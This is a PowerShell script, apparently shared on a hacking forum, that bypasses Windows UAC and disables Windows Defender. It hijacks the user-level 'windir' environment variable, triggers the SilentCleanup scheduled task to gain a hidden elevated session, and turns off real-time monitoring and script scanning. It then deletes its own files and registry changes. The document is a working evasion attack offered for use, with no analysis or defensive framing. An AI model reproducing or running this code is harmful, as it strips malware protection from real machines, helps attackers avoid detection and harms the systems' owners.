Shell Powershell - UAC Bypass & Disable Windows Defender

Code
################################################################

#

# Windows Defender UAC Bypass by Lib

#    Hackforums UID: 2999367

#    Date Created: 29/07/2019

#       Version 1.072019

#

#

#    Requirements: This script must be run as a User who is in Administrative Group.

#    This is not a privelege escalation, This features a UAC Bypass and Defender Disable only.

#

################################################################



#Set Status of Windows Defender, True or False.

$WindowsDefenderDisabled = "True"



$Setuppl = "Setup.ps1"

$Scriptloc = "C:\Recovery\"

$SetupFullLoc = ("$Scriptloc"+"$Setuppl")

$SetupContents = "Start-Process powershell -ArgumentList '-noprofile -file $InitPLFullpath' -verb RunAs"



#Create Setup PS Command to Execute Escalated PS Session

New-Item -path  $Scriptloc -Name $Setuppl -Force 

Set-Content -Value $SetupContents -LiteralPath $SetupFullLoc



$initpl = "Windef.ps1"

$InitPLFullpath = ("$Scriptloc"+"$Initpl")

$registryPath = "HKCU:\Environment"

$IPropName = "windir"

$RegValue = "powershell -ep bypass -w h $SetupFullLoc;#"



$initplcontents = "

Try

{

Set-MpPreference -DisableRealtimeMonitoring `$$WindowsDefenderDisabled

Set-MpPreference -DisableScriptScanning `$$WindowsDefenderDisabled

New-item -path C:\Recovery -name Success.verify -force

}

Catch

{

New-item -path C:\Recovery -name Fail.Verify -force

}"



New-Item -path  $Scriptloc -Name $initpl -Force 

Set-Content -Value $initplcontents -LiteralPath $InitPLFullpath



Set-ItemProperty -Path $registryPath -Name $IPropName -Value $RegValue

Start-Sleep 2

schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null



#Sleep to allow Scripts to run

Start-sleep 3



If (Get-Childitem -Path C:\Recovery -Filter *.Verify)

{

    $Recoverify = Get-Childitem -Path C:\Recovery -Filter *.Verify

    If($Recoverify.Name -eq "Success.verify")

    {

        Write-Output "RealTime Monitoring & Script-Scanning Disabled: $WindowsDefenderDisabled."

    }

    Else

    {

        Write-Output "!!! RealTime Monitoring & Script-Scanning Failed to Change State !!!"

    }

}



#Cleanup

Remove-ItemProperty -Path $registryPath -Name $IPropName

Get-ChildItem -Path C:\Recovery -Filter *.Verify | Remove-Item -Force 

Get-ChildItem -Path C:\Recovery -Filter *.ps1 | Remove-Item -Force